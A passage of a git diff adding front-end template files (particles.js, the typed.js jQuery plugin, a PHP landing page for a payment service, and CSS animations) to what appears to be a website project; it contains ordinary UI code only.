Math.pow(pJS.interactivity.modes.repulse.distance/6, 3); + + var dx = pJS.interactivity.mouse.click_pos_x - p.x, + dy = pJS.interactivity.mouse.click_pos_y - p.y, + d = dx*dx + dy*dy; + + var force = -repulseRadius / d * 1; + + function process(){ + + var f = Math.atan2(dy,dx); + p.vx = force * Math.cos(f); + p.vy = force * Math.sin(f); + + if(pJS.particles.move.out_mode == 'bounce'){ + var pos = { + x: p.x + p.vx, + y: p.y + p.vy + } + if (pos.x + p.radius > pJS.canvas.w) p.vx = -p.vx; + else if (pos.x - p.radius < 0) p.vx = -p.vx; + if (pos.y + p.radius > pJS.canvas.h) p.vy = -p.vy; + else if (pos.y - p.radius < 0) p.vy = -p.vy; + } + + } + + // default + if(d <= repulseRadius){ + process(); + } + + // bang - slow motion mode + // if(!pJS.tmp.repulse_finish){ + // if(d <= repulseRadius){ + // process(); + // } + // }else{ + // process(); + // } + + + }else{ + + if(pJS.tmp.repulse_clicking == false){ + + p.vx = p.vx_i; + p.vy = p.vy_i; + + } + + } + + } + + } + + + pJS.fn.modes.grabParticle = function(p){ + + if(pJS.interactivity.events.onhover.enable && pJS.interactivity.status == 'mousemove'){ + + var dx_mouse = p.x - pJS.interactivity.mouse.pos_x, + dy_mouse = p.y - pJS.interactivity.mouse.pos_y, + dist_mouse = Math.sqrt(dx_mouse*dx_mouse + dy_mouse*dy_mouse); + + /* draw a line between the cursor and the particle if the distance between them is under the config distance */ + if(dist_mouse <= pJS.interactivity.modes.grab.distance){ + + var opacity_line = pJS.interactivity.modes.grab.line_linked.opacity - (dist_mouse / (1/pJS.interactivity.modes.grab.line_linked.opacity)) / pJS.interactivity.modes.grab.distance; + + if(opacity_line > 0){ + + /* style */ + var color_line = pJS.particles.line_linked.color_rgb_line; + pJS.canvas.ctx.strokeStyle = 'rgba('+color_line.r+','+color_line.g+','+color_line.b+','+opacity_line+')'; + pJS.canvas.ctx.lineWidth = pJS.particles.line_linked.width; + //pJS.canvas.ctx.lineCap = 'round'; /* performance issue */ + + /* path */ + pJS.canvas.ctx.beginPath(); + pJS.canvas.ctx.moveTo(p.x, p.y); + pJS.canvas.ctx.lineTo(pJS.interactivity.mouse.pos_x, pJS.interactivity.mouse.pos_y); + pJS.canvas.ctx.stroke(); + pJS.canvas.ctx.closePath(); + + } + + } + + } + + }; + + + + /* ---------- pJS functions - vendors ------------ */ + + pJS.fn.vendors.eventsListeners = function(){ + + /* events target element */ + if(pJS.interactivity.detect_on == 'window'){ + pJS.interactivity.el = window; + }else{ + pJS.interactivity.el = pJS.canvas.el; + } + + + /* detect mouse pos - on hover / click event */ + if(pJS.interactivity.events.onhover.enable || pJS.interactivity.events.onclick.enable){ + + /* el on mousemove */ + pJS.interactivity.el.addEventListener('mousemove', function(e){ + + if(pJS.interactivity.el == window){ + var pos_x = e.clientX, + pos_y = e.clientY; + } + else{ + var pos_x = e.offsetX || e.clientX, + pos_y = e.offsetY || e.clientY; + } + + pJS.interactivity.mouse.pos_x = pos_x; + pJS.interactivity.mouse.pos_y = pos_y; + + if(pJS.tmp.retina){ + pJS.interactivity.mouse.pos_x *= pJS.canvas.pxratio; + pJS.interactivity.mouse.pos_y *= pJS.canvas.pxratio; + } + + pJS.interactivity.status = 'mousemove'; + + }); + + /* el on onmouseleave */ + pJS.interactivity.el.addEventListener('mouseleave', function(e){ + + pJS.interactivity.mouse.pos_x = null; + pJS.interactivity.mouse.pos_y = null; + pJS.interactivity.status = 'mouseleave'; + + }); + + } + + /* on click event */ + if(pJS.interactivity.events.onclick.enable){ + + pJS.interactivity.el.addEventListener('click', function(){ + + pJS.interactivity.mouse.click_pos_x = pJS.interactivity.mouse.pos_x; + pJS.interactivity.mouse.click_pos_y = pJS.interactivity.mouse.pos_y; + pJS.interactivity.mouse.click_time = new Date().getTime(); + + if(pJS.interactivity.events.onclick.enable){ + + switch(pJS.interactivity.events.onclick.mode){ + + case 'push': + if(pJS.particles.move.enable){ + pJS.fn.modes.pushParticles(pJS.interactivity.modes.push.particles_nb, pJS.interactivity.mouse); + }else{ + if(pJS.interactivity.modes.push.particles_nb == 1){ + pJS.fn.modes.pushParticles(pJS.interactivity.modes.push.particles_nb, pJS.interactivity.mouse); + } + else if(pJS.interactivity.modes.push.particles_nb > 1){ + pJS.fn.modes.pushParticles(pJS.interactivity.modes.push.particles_nb); + } + } + break; + + case 'remove': + pJS.fn.modes.removeParticles(pJS.interactivity.modes.remove.particles_nb); + break; + + case 'bubble': + pJS.tmp.bubble_clicking = true; + break; + + case 'repulse': + pJS.tmp.repulse_clicking = true; + pJS.tmp.repulse_count = 0; + pJS.tmp.repulse_finish = false; + setTimeout(function(){ + pJS.tmp.repulse_clicking = false; + }, pJS.interactivity.modes.repulse.duration*1000) + break; + + } + + } + + }); + + } + + + }; + + pJS.fn.vendors.densityAutoParticles = function(){ + + if(pJS.particles.number.density.enable){ + + /* calc area */ + var area = pJS.canvas.el.width * pJS.canvas.el.height / 1000; + if(pJS.tmp.retina){ + area = area/(pJS.canvas.pxratio*2); + } + + /* calc number of particles based on density area */ + var nb_particles = area * pJS.particles.number.value / pJS.particles.number.density.value_area; + + /* add or remove X particles */ + var missing_particles = pJS.particles.array.length - nb_particles; + if(missing_particles < 0) pJS.fn.modes.pushParticles(Math.abs(missing_particles)); + else pJS.fn.modes.removeParticles(missing_particles); + + } + + }; + + + pJS.fn.vendors.checkOverlap = function(p1, position){ + for(var i = 0; i < pJS.particles.array.length; i++){ + var p2 = pJS.particles.array[i]; + + var dx = p1.x - p2.x, + dy = p1.y - p2.y, + dist = Math.sqrt(dx*dx + dy*dy); + + if(dist <= p1.radius + p2.radius){ + p1.x = position ? position.x : Math.random() * pJS.canvas.w; + p1.y = position ? position.y : Math.random() * pJS.canvas.h; + pJS.fn.vendors.checkOverlap(p1); + } + } + }; + + + pJS.fn.vendors.createSvgImg = function(p){ + + /* set color to svg element */ + var svgXml = pJS.tmp.source_svg, + rgbHex = /#([0-9A-F]{3,6})/gi, + coloredSvgXml = svgXml.replace(rgbHex, function (m, r, g, b) { + if(p.color.rgb){ + var color_value = 'rgba('+p.color.rgb.r+','+p.color.rgb.g+','+p.color.rgb.b+','+p.opacity+')'; + }else{ + var color_value = 'hsla('+p.color.hsl.h+','+p.color.hsl.s+'%,'+p.color.hsl.l+'%,'+p.opacity+')'; + } + return color_value; + }); + + /* prepare to create img with colored svg */ + var svg = new Blob([coloredSvgXml], {type: 'image/svg+xml;charset=utf-8'}), + DOMURL = window.URL || window.webkitURL || window, + url = DOMURL.createObjectURL(svg); + + /* create particle img obj */ + var img = new Image(); + img.addEventListener('load', function(){ + p.img.obj = img; + p.img.loaded = true; + DOMURL.revokeObjectURL(url); + pJS.tmp.count_svg++; + }); + img.src = url; + + }; + + + pJS.fn.vendors.destroypJS = function(){ + cancelAnimationFrame(pJS.fn.drawAnimFrame); + canvas_el.remove(); + pJSDom = null; + }; + + + pJS.fn.vendors.drawShape = function(c, startX, startY, sideLength, sideCountNumerator, sideCountDenominator){ + + // By Programming Thomas - https://programmingthomas.wordpress.com/2013/04/03/n-sided-shapes/ + var sideCount = sideCountNumerator * sideCountDenominator; + var decimalSides = sideCountNumerator / sideCountDenominator; + var interiorAngleDegrees = (180 * (decimalSides - 2)) / decimalSides; + var interiorAngle = Math.PI - Math.PI * interiorAngleDegrees / 180; // convert to radians + c.save(); + c.beginPath(); + c.translate(startX, startY); + c.moveTo(0,0); + for (var i = 0; i < sideCount; i++) { + c.lineTo(sideLength,0); + c.translate(sideLength,0); + c.rotate(interiorAngle); + } + //c.stroke(); + c.fill(); + c.restore(); + + }; + + pJS.fn.vendors.exportImg = function(){ + window.open(pJS.canvas.el.toDataURL('image/png'), '_blank'); + }; + + + pJS.fn.vendors.loadImg = function(type){ + + pJS.tmp.img_error = undefined; + + if(pJS.particles.shape.image.src != ''){ + + if(type == 'svg'){ + + var xhr = new XMLHttpRequest(); + xhr.open('GET', pJS.particles.shape.image.src); + xhr.onreadystatechange = function (data) { + if(xhr.readyState == 4){ + if(xhr.status == 200){ + pJS.tmp.source_svg = data.currentTarget.response; + pJS.fn.vendors.checkBeforeDraw(); + }else{ + console.log('Error pJS - Image not found'); + pJS.tmp.img_error = true; + } + } + } + xhr.send(); + + }else{ + + var img = new Image(); + img.addEventListener('load', function(){ + pJS.tmp.img_obj = img; + pJS.fn.vendors.checkBeforeDraw(); + }); + img.src = pJS.particles.shape.image.src; + + } + + }else{ + console.log('Error pJS - No image.src'); + pJS.tmp.img_error = true; + } + + }; + + + pJS.fn.vendors.draw = function(){ + + if(pJS.particles.shape.type == 'image'){ + + if(pJS.tmp.img_type == 'svg'){ + + if(pJS.tmp.count_svg >= pJS.particles.number.value){ + pJS.fn.particlesDraw(); + if(!pJS.particles.move.enable) cancelRequestAnimFrame(pJS.fn.drawAnimFrame); + else pJS.fn.drawAnimFrame = requestAnimFrame(pJS.fn.vendors.draw); + }else{ + //console.log('still loading...'); + if(!pJS.tmp.img_error) pJS.fn.drawAnimFrame = requestAnimFrame(pJS.fn.vendors.draw); + } + + }else{ + + if(pJS.tmp.img_obj != undefined){ + pJS.fn.particlesDraw(); + if(!pJS.particles.move.enable) cancelRequestAnimFrame(pJS.fn.drawAnimFrame); + else pJS.fn.drawAnimFrame = requestAnimFrame(pJS.fn.vendors.draw); + }else{ + if(!pJS.tmp.img_error) pJS.fn.drawAnimFrame = requestAnimFrame(pJS.fn.vendors.draw); + } + + } + + }else{ + pJS.fn.particlesDraw(); + if(!pJS.particles.move.enable) cancelRequestAnimFrame(pJS.fn.drawAnimFrame); + else pJS.fn.drawAnimFrame = requestAnimFrame(pJS.fn.vendors.draw); + } + + }; + + + pJS.fn.vendors.checkBeforeDraw = function(){ + + // if shape is image + if(pJS.particles.shape.type == 'image'){ + + if(pJS.tmp.img_type == 'svg' && pJS.tmp.source_svg == undefined){ + pJS.tmp.checkAnimFrame = requestAnimFrame(check); + }else{ + //console.log('images loaded! cancel check'); + cancelRequestAnimFrame(pJS.tmp.checkAnimFrame); + if(!pJS.tmp.img_error){ + pJS.fn.vendors.init(); + pJS.fn.vendors.draw(); + } + + } + + }else{ + pJS.fn.vendors.init(); + pJS.fn.vendors.draw(); + } + + }; + + + pJS.fn.vendors.init = function(){ + + /* init canvas + particles */ + pJS.fn.retinaInit(); + pJS.fn.canvasInit(); + pJS.fn.canvasSize(); + pJS.fn.canvasPaint(); + pJS.fn.particlesCreate(); + pJS.fn.vendors.densityAutoParticles(); + + /* particles.line_linked - convert hex colors to rgb */ + pJS.particles.line_linked.color_rgb_line = hexToRgb(pJS.particles.line_linked.color); + + }; + + + pJS.fn.vendors.start = function(){ + + if(isInArray('image', pJS.particles.shape.type)){ + pJS.tmp.img_type = pJS.particles.shape.image.src.substr(pJS.particles.shape.image.src.length - 3); + pJS.fn.vendors.loadImg(pJS.tmp.img_type); + }else{ + pJS.fn.vendors.checkBeforeDraw(); + } + + }; + + + + + /* ---------- pJS - start ------------ */ + + + pJS.fn.vendors.eventsListeners(); + + pJS.fn.vendors.start(); + + + +}; + +/* ---------- global functions - vendors ------------ */ + +Object.deepExtend = function(destination, source) { + for (var property in source) { + if (source[property] && source[property].constructor && + source[property].constructor === Object) { + destination[property] = destination[property] || {}; + arguments.callee(destination[property], source[property]); + } else { + destination[property] = source[property]; + } + } + return destination; +}; + +window.requestAnimFrame = (function(){ + return window.requestAnimationFrame || + window.webkitRequestAnimationFrame || + window.mozRequestAnimationFrame || + window.oRequestAnimationFrame || + window.msRequestAnimationFrame || + function(callback){ + window.setTimeout(callback, 1000 / 60); + }; +})(); + +window.cancelRequestAnimFrame = ( function() { + return window.cancelAnimationFrame || + window.webkitCancelRequestAnimationFrame || + window.mozCancelRequestAnimationFrame || + window.oCancelRequestAnimationFrame || + window.msCancelRequestAnimationFrame || + clearTimeout +} )(); + +function hexToRgb(hex){ + // By Tim Down - http://stackoverflow.com/a/5624139/3493650 + // Expand shorthand form (e.g. "03F") to full form (e.g. "0033FF") + var shorthandRegex = /^#?([a-f\d])([a-f\d])([a-f\d])$/i; + hex = hex.replace(shorthandRegex, function(m, r, g, b) { + return r + r + g + g + b + b; + }); + var result = /^#?([a-f\d]{2})([a-f\d]{2})([a-f\d]{2})$/i.exec(hex); + return result ? { + r: parseInt(result[1], 16), + g: parseInt(result[2], 16), + b: parseInt(result[3], 16) + } : null; +}; + +function clamp(number, min, max) { + return Math.min(Math.max(number, min), max); +}; + +function isInArray(value, array) { + return array.indexOf(value) > -1; +} + + +/* ---------- particles.js functions - start ------------ */ + +window.pJSDom = []; + +window.particlesJS = function(tag_id, params){ + + //console.log(params); + + /* no string id? so it's object params, and set the id with default id */ + if(typeof(tag_id) != 'string'){ + params = tag_id; + tag_id = 'particles-js'; + } + + /* no id? set the id to default id */ + if(!tag_id){ + tag_id = 'particles-js'; + } + + /* pJS elements */ + var pJS_tag = document.getElementById(tag_id), + pJS_canvas_class = 'particles-js-canvas-el', + exist_canvas = pJS_tag.getElementsByClassName(pJS_canvas_class); + + /* remove canvas if exists into the pJS target tag */ + if(exist_canvas.length){ + while(exist_canvas.length > 0){ + pJS_tag.removeChild(exist_canvas[0]); + } + } + + /* create canvas element */ + var canvas_el = document.createElement('canvas'); + canvas_el.className = pJS_canvas_class; + + /* set size canvas */ + canvas_el.style.width = "100%"; + canvas_el.style.height = "100%"; + canvas_el.style.position = "absolute"; + canvas_el.style.top = "0"; + + /* append canvas */ + var canvas = document.getElementById(tag_id).appendChild(canvas_el); + + /* launch particle.js */ + if(canvas != null){ + pJSDom.push(new pJS(tag_id, params)); + } + +}; + +window.particlesJS.load = function(tag_id, path_config_json, callback){ + + /* load json config */ + var xhr = new XMLHttpRequest(); + xhr.open('GET', path_config_json); + xhr.onreadystatechange = function (data) { + if(xhr.readyState == 4){ + if(xhr.status == 200){ + var params = JSON.parse(data.currentTarget.response); + window.particlesJS(tag_id, params); + if(callback) callback(); + }else{ + console.log('Error pJS - XMLHttpRequest status: '+xhr.status); + console.log('Error pJS - File config not found'); + } + } + }; + xhr.send(); + +}; \ No newline at end of file diff --git a/template/index7/assets/js/typed.js b/template/index7/assets/js/typed.js new file mode 100644 index 0000000..3e4a81f --- /dev/null +++ b/template/index7/assets/js/typed.js @@ -0,0 +1,307 @@ +!function($){ + + "use strict"; + + var Typed = function(el, options){ + + // chosen element to manipulate text + this.el = $(el); + + // options + this.options = $.extend({}, $.fn.typed.defaults, options); + + // text content of element + this.baseText = this.el.text() || this.el.attr('placeholder') || ''; + + // typing speed + this.typeSpeed = this.options.typeSpeed; + + // add a delay before typing starts + this.startDelay = this.options.startDelay; + + // backspacing speed + this.backSpeed = this.options.backSpeed; + + // amount of time to wait before backspacing + this.backDelay = this.options.backDelay; + + // input strings of text + this.strings = this.options.strings; + + // character number position of current string + this.strPos = 0; + + // current array position + this.arrayPos = 0; + + // number to stop backspacing on. + // default 0, can change depending on how many chars + // you want to remove at the time + this.stopNum = 0; + + // Looping logic + this.loop = this.options.loop; + this.loopCount = this.options.loopCount; + this.curLoop = 0; + + // for stopping + this.stop = false; + + // show cursor + this.showCursor = this.isInput ? false : this.options.showCursor; + + // custom cursor + this.cursorChar = this.options.cursorChar; + + // attribute to type + this.isInput = this.el.is('input'); + this.attr = this.options.attr || (this.isInput ? 'placeholder' : null); + + // All systems go! + this.build(); + }; + + Typed.prototype = { + + constructor: Typed + + , init: function(){ + // begin the loop w/ first current string (global self.string) + // current string will be passed as an argument each time after this + var self = this; + self.timeout = setTimeout(function() { + // Start typing + self.typewrite(self.strings[self.arrayPos], self.strPos); + }, self.startDelay); + } + + , build: function(){ + // Insert cursor + if (this.showCursor === true){ + this.cursor = $("" + this.cursorChar + ""); + this.el.after(this.cursor); + } + this.init(); + } + + // pass current string state to each function, types 1 char per call + , typewrite: function(curString, curStrPos){ + // exit when stopped + if(this.stop === true) + return; + + // varying values for setTimeout during typing + // can't be global since number changes each time loop is executed + var humanize = Math.round(Math.random() * (100 - 30)) + this.typeSpeed; + var self = this; + + // ------------- optional ------------- // + // backpaces a certain string faster + // ------------------------------------ // + // if (self.arrayPos == 1){ + // self.backDelay = 50; + // } + // else{ self.backDelay = 500; } + + // contain typing function in a timeout humanize'd delay + self.timeout = setTimeout(function() { + // check for an escape character before a pause value + // format: \^\d+ .. eg: ^1000 .. should be able to print the ^ too using ^^ + // single ^ are removed from string + var charPause = 0; + var substr = curString.substr(curStrPos); + if (substr.charAt(0) === '^') { + var skip = 1; // skip atleast 1 + if(/^\^\d+/.test(substr)) { + substr = /\d+/.exec(substr)[0]; + skip += substr.length; + charPause = parseInt(substr); + } + + // strip out the escape character and pause value so they're not printed + curString = curString.substring(0,curStrPos)+curString.substring(curStrPos+skip); + } + + // timeout for any pause after a character + self.timeout = setTimeout(function() { + if(curStrPos === curString.length) { + // fires callback function + self.options.onStringTyped(self.arrayPos); + + // is this the final string + if(self.arrayPos === self.strings.length-1) { + // animation that occurs on the last typed string + self.options.callback(); + + self.curLoop++; + + // quit if we wont loop back + if(self.loop === false || self.curLoop === self.loopCount) + return; + } + + self.timeout = setTimeout(function(){ + self.backspace(curString, curStrPos); + }, self.backDelay); + } else { + + /* call before functions if applicable */ + if(curStrPos === 0) + self.options.preStringTyped(self.arrayPos); + + // start typing each new char into existing string + // curString: arg, self.baseText: original text inside element + var nextString = self.baseText + curString.substr(0, curStrPos+1); + if (self.attr) { + self.el.attr(self.attr, nextString); + } else { + self.el.text(nextString); + } + + // add characters one by one + curStrPos++; + // loop the function + self.typewrite(curString, curStrPos); + } + // end of character pause + }, charPause); + + // humanized value for typing + }, humanize); + + } + + , backspace: function(curString, curStrPos){ + // exit when stopped + if (this.stop === true) { + return; + } + + // varying values for setTimeout during typing + // can't be global since number changes each time loop is executed + var humanize = Math.round(Math.random() * (100 - 30)) + this.backSpeed; + var self = this; + + self.timeout = setTimeout(function() { + + // ----- this part is optional ----- // + // check string array position + // on the first string, only delete one word + // the stopNum actually represents the amount of chars to + // keep in the current string. In my case it's 14. + // if (self.arrayPos == 1){ + // self.stopNum = 14; + // } + //every other time, delete the whole typed string + // else{ + // self.stopNum = 0; + // } + + // ----- continue important stuff ----- // + // replace text with base text + typed characters + var nextString = self.baseText + curString.substr(0, curStrPos); + if (self.attr) { + self.el.attr(self.attr, nextString); + } else { + self.el.text(nextString); + } + + // if the number (id of character in current string) is + // less than the stop number, keep going + if (curStrPos > self.stopNum){ + // subtract characters one by one + curStrPos--; + // loop the function + self.backspace(curString, curStrPos); + } + // if the stop number has been reached, increase + // array position to next string + else if (curStrPos <= self.stopNum) { + self.arrayPos++; + + if(self.arrayPos === self.strings.length) { + self.arrayPos = 0; + self.init(); + } else + self.typewrite(self.strings[self.arrayPos], curStrPos); + } + + // humanized value for typing + }, humanize); + + } + + // Start & Stop currently not working + + // , stop: function() { + // var self = this; + + // self.stop = true; + // clearInterval(self.timeout); + // } + + // , start: function() { + // var self = this; + // if(self.stop === false) + // return; + + // this.stop = false; + // this.init(); + // } + + // Reset and rebuild the element + , reset: function(){ + var self = this; + clearInterval(self.timeout); + var id = this.el.attr('id'); + this.el.after('') + this.el.remove(); + this.cursor.remove(); + // Send the callback + self.options.resetCallback(); + } + + }; + + $.fn.typed = function (option) { + return this.each(function () { + var $this = $(this) + , data = $this.data('typed') + , options = typeof option == 'object' && option; + if (!data) $this.data('typed', (data = new Typed(this, options))); + if (typeof option == 'string') data[option](); + }); + }; + + $.fn.typed.defaults = { + strings: ["These are the default values...", "You know what you should do?", "Use your own!", "Have a great day!"], + // typing speed + typeSpeed: 0, + // time before typing starts + startDelay: 0, + // backspacing speed + backSpeed: 0, + // time before backspacing + backDelay: 1500, + // loop + loop: true, + // false = infinite + loopCount: false, + // show cursor + showCursor: true, + // character for cursor + cursorChar: "|", + // attribute to type (null == text) + attr: null, + // call when done callback function + callback: function() {}, + // starting callback function before each string + preStringTyped: function() {}, + //callback for every typed string + onStringTyped: function() {}, + // callback for reset + resetCallback: function() {} + }; + + +}(window.jQuery); diff --git a/template/index7/index.php b/template/index7/index.php new file mode 100644 index 0000000..d6e0ebe --- /dev/null +++ b/template/index7/index.php @@ -0,0 +1,342 @@ + + + + + + + <?php echo $conf['title']?> + + + + + + + + + + + + +
                                    +
                                    +
                                    +
                                    +
                                    +
                                    +
                                    +
                                    +

                                    -

                                    +
                                    +

                                    - 极速响应、安全可靠、方便快捷是我们最大的特点,轻松实现手机付款、在线付款,是您的不二之选,欢迎咨询

                                    +
                                    + +
                                    +
                                    +
                                    +
                                    + 首页
                                    +
                                    +
                                    +
                                    +
                                    +
                                    +
                                    +
                                    +
                                    +
                                    +
                                    +
                                    +

                                    我们拥有比同行更优质的服务

                                    +
                                    +
                                    +

                                    您永远不会想象那么强大的创意业务可以轻松实现,为您提供多种解决方案。

                                    +
                                    +
                                    +
                                    +
                                    +

                                    支持支付宝、微信、QQ钱包等主流支付渠道,让您拥有PC网页支付、扫码支付、移动HTML5支付。

                                    +
                                    +
                                    +
                                    +
                                    +

                                    通过简单的页面配置,可以替代复杂繁琐的人工资金结算业务,提高业务实时性,降低错误。

                                    +
                                    +
                                    +
                                    +
                                    +
                                    + +
                                    +
                                    +
                                    +
                                    +
                                    + 接入 +
                                    +
                                    +
                                    +
                                    +
                                    +
                                    +
                                    +
                                    +
                                    +

                                    那么,你下一步准备好了吗? 赶紧加入我们吧

                                    +
                                    + +
                                    +
                                    +
                                    +
                                    +
                                    +
                                    +
                                    +
                                    + 服务 +
                                    +
                                    +
                                    +
                                    +
                                    +
                                    +
                                    + +
                                    +
                                    +
                                    支付能力
                                    +

                                    适用于商家在移动端网页应用中集成的快捷支付功能 ,集成提供的SDK,一键接入

                                    +
                                    +
                                    +
                                    +
                                    +
                                    +
                                    + +
                                    +
                                    +
                                    金融科技
                                    +

                                    基于互联网,融合行业解决方案,驱动产业模式升级,创新应用场景

                                    +
                                    +
                                    +
                                    +
                                    +
                                    +
                                    +
                                    +
                                    + +
                                    +
                                    +
                                    接口支持
                                    +

                                    支付、分享、账户、营销、信用、服务窗等九大优质接口支持

                                    +
                                    +
                                    +
                                    +
                                    +
                                    +
                                    + +
                                    +
                                    +
                                    盈利模式
                                    +

                                    基于商家服务市场,为合作伙伴的插件及服务提供变现渠道

                                    +
                                    +
                                    +
                                    +
                                    +
                                    +
                                    + +
                                    +
                                    +
                                    +
                                    +
                                    +
                                    +
                                    +
                                    +
                                    +
                                    +
                                    +
                                    + +
                                    +
                                    +

                                    商户总数:2789

                                    +
                                    +
                                    +
                                    +
                                    + +
                                    +
                                    +

                                    订单总数:548156

                                    +
                                    +
                                    +
                                    +
                                    +
                                    +
                                    + +
                                    +
                                    +

                                    商户结算总额:¥348511.89 +

                                    +
                                    +
                                    +
                                    +
                                    + +
                                    +
                                    +

                                    商户总计余额:¥65498.34 +

                                    +
                                    +
                                    +
                                    +
                                    +
                                    +
                                    +
                                    +
                                    +
                                    +
                                    +
                                    +

                                    展望未来

                                    +
                                    +
                                    +

                                    您永远不会想象那么强大的创意业务可以轻松实现,为您提供多种解决方案。

                                    +
                                    +
                                    +
                                    +
                                    +
                                    + +
                                    +
                                    +
                                    +
                                    +
                                    +
                                    +
                                    +
                                    +
                                    关于我们
                                    +

                                    E-mail :

                                    +

                                    客服QQ :

                                    +

                                    本站域名 :

                                    +
                                    +
                                    +
                                    本站相关
                                    + +
                                    +
                                    +
                                    合作伙伴
                                    + +
                                    +
                                    +
                                    +
                                    +
                                    +
                                    +

                                    ©

                                    +
                                    +
                                    +
                                    +
                                    +

                                    +
                                    +
                                    +
                                    +
                                    +
                                    + + + + + + + + + + \ No newline at end of file diff --git a/template/index7/preview.png b/template/index7/preview.png new file mode 100644 index 0000000..f7f68d9 Binary files /dev/null and b/template/index7/preview.png differ diff --git a/template/index8/assets/css/animations.min.css b/template/index8/assets/css/animations.min.css new file mode 100644 index 0000000..c44a456 --- /dev/null +++ b/template/index8/assets/css/animations.min.css @@ -0,0 +1,1838 @@ +/*animations*/ + +/****************** +* Bounce in right * +*******************/ + + +.animated { + -webkit-animation-duration: 1s; + animation-duration: 1s; + -webkit-animation-fill-mode: both; + animation-fill-mode: both; +} +.slow{ + -webkit-animation-duration: 1.5s; + animation-duration: 1.5s; + -webkit-animation-fill-mode: both; + animation-fill-mode: both; +} +.slower{ + -webkit-animation-duration: 2s; + animation-duration: 2s; + -webkit-animation-fill-mode: both; + animation-fill-mode: both; +} +.slowest{ + -webkit-animation-duration: 3s; + animation-duration: 3s; + -webkit-animation-fill-mode: both; + animation-fill-mode: both; +} + +/* Added by Andy Meetan */ +.delay-250 { + -webkit-animation-delay:0.25s; + -moz-animation-delay:0.25s; + -o-animation-delay:0.25s; + animation-delay:0.25s; +} +.delay-500 { + -webkit-animation-delay:0.5s; + -moz-animation-delay:0.5s; + -o-animation-delay:0.5s; + animation-delay:0.5s; +} +.delay-750 { + -webkit-animation-delay:0.75s; + -moz-animation-delay:0.75s; + -o-animation-delay:0.75s; + animation-delay:0.75s; +} +.delay-1000 { + -webkit-animation-delay:1.0s; + -moz-animation-delay:1.0s; + -o-animation-delay:1.0s; + animation-delay:1.0s; +} +.delay-1250 { + -webkit-animation-delay:1.25s; + -moz-animation-delay:1.25s; + -o-animation-delay:1.25s; + animation-delay:1.25s; +} +.delay-1500 { + -webkit-animation-delay:1.5s; + -moz-animation-delay:1.5s; + -o-animation-delay:1.5s; + animation-delay:1.5s; +} +.delay-1750 { + -webkit-animation-delay:1.75s; + -moz-animation-delay:1.75s; + -o-animation-delay:1.75s; + animation-delay:1.75s; +} +.delay-2000 { + -webkit-animation-delay:2.0s; + -moz-animation-delay:2.0s; + -o-animation-delay:2.0s; + animation-delay:2.0s; +} +.delay-2500 { + -webkit-animation-delay:2.5s; + -moz-animation-delay:2.5s; + -o-animation-delay:2.5s; + animation-delay:2.5s; +} +.delay-2000 { + -webkit-animation-delay:2.0s; + -moz-animation-delay:2.0s; + -o-animation-delay:2.0s; + animation-delay:2.0s; +} +.delay-2500 { + -webkit-animation-delay:2.5s; + -moz-animation-delay:2.5s; + -o-animation-delay:2.5s; + animation-delay:2.5s; +} +.delay-3000 { + -webkit-animation-delay:3.0s; + -moz-animation-delay:3.0s; + -o-animation-delay:3.0s; + animation-delay:3.0s; +} +.delay-3500 { + -webkit-animation-delay:3.5s; + -moz-animation-delay:3.5s; + -o-animation-delay:3.5s; + animation-delay:3.5s; +} + +.bounceInRight, .bounceInLeft, .bounceInUp, .bounceInDown{ + opacity:0; + -webkit-transform: translateX(400px); + transform: translateX(400px); +} +.fadeInRight, .fadeInLeft, .fadeInUp, .fadeInDown{ + opacity:0; + -webkit-transform: translateX(400px); + transform: translateX(400px); +} + +.flipInX, .flipInY, .rotateIn, .rotateInUpLeft, .rotateInUpRight, .rotateInDownLeft, .rotateDownUpRight, .rollIn{ + opacity:0; +} + +.lightSpeedInRight, .lightSpeedInLeft{ + opacity:0; + -webkit-transform: translateX(400px); + transform: translateX(400px); +} + +/*********** +* bounceIn * +************/ +@-webkit-keyframes bounceIn { + 0% { + opacity: 0; + -webkit-transform: scale(.3); + } + + 50% { + opacity: 1; + -webkit-transform: scale(1.05); + } + + 70% { + -webkit-transform: scale(.9); + } + + 100% { + -webkit-transform: scale(1); + } +} + +@keyframes bounceIn { + 0% { + opacity: 0; + transform: scale(.3); + } + + 50% { + opacity: 1; + transform: scale(1.05); + } + + 70% { + transform: scale(.9); + } + + 100% { + transform: scale(1); + } +} + +.bounceIn.go { + -webkit-animation-name: bounceIn; + animation-name: bounceIn; +} + +/**************** +* bounceInRight * +****************/ + +@-webkit-keyframes bounceInRight { + 0% { + opacity: 0; + + -webkit-transform: translateX(400px); + } + 60% { + + -webkit-transform: translateX(-30px); + } + 80% { + -webkit-transform: translateX(10px); + } + 100% { + opacity: 1; + + -webkit-transform: translateX(0); + } +} + +@keyframes bounceInRight { + 0% { + opacity: 0; + + transform: translateX(400px); + } + 60% { + + transform: translateX(-30px); + } + 80% { + transform: translateX(10px); + } + 100% { + opacity: 1; + + transform: translateX(0); + } +} + + +.bounceInRight.go { + -webkit-animation-name: bounceInRight; + animation-name: bounceInRight; +} + +/****************** +* Bounce in left * +*******************/ + +@-webkit-keyframes bounceInLeft { + 0% { + opacity: 0; + + -webkit-transform: translateX(-400px); + } + 60% { + + -webkit-transform: translateX(30px); + } + 80% { + -webkit-transform: translateX(-10px); + } + 100% { + opacity: 1; + + -webkit-transform: translateX(0); + } +} + +@keyframes bounceInLeft { + 0% { + opacity: 0; + + transform: translateX(-400px); + } + 60% { + + transform: translateX(30px); + } + 80% { + transform: translateX(-10px); + } + 100% { + opacity: 1; + + transform: translateX(0); + } +} + +.bounceInLeft.go { + -webkit-animation-name: bounceInLeft; + animation-name: bounceInLeft; +} + +/****************** +* Bounce in up * +*******************/ + +@-webkit-keyframes bounceInUp { + 0% { + opacity: 0; + + -webkit-transform: translateY(400px); + } + 60% { + + -webkit-transform: translateY(-30px); + } + 80% { + -webkit-transform: translateY(10px); + } + 100% { + opacity: 1; + + -webkit-transform: translateY(0); + } +} + +@keyframes bounceInUp { + 0% { + opacity: 0; + + transform: translateY(400px); + } + 60% { + + transform: translateY(-30px); + } + 80% { + transform: translateY(10px); + } + 100% { + opacity: 1; + + transform: translateY(0); + } +} + +.bounceInUp.go { + -webkit-animation-name: bounceInUp; + animation-name: bounceInUp; +} + + +/****************** +* Bounce in down * +*******************/ + +@-webkit-keyframes bounceInDown { + 0% { + opacity: 0; + + -webkit-transform: translateY(-400px); + } + 60% { + + -webkit-transform: translateY(30px); + } + 80% { + -webkit-transform: translateY(-10px); + } + 100% { + opacity: 1; + + -webkit-transform: translateY(0); + } +} + +@keyframes bounceInDown { + 0% { + opacity: 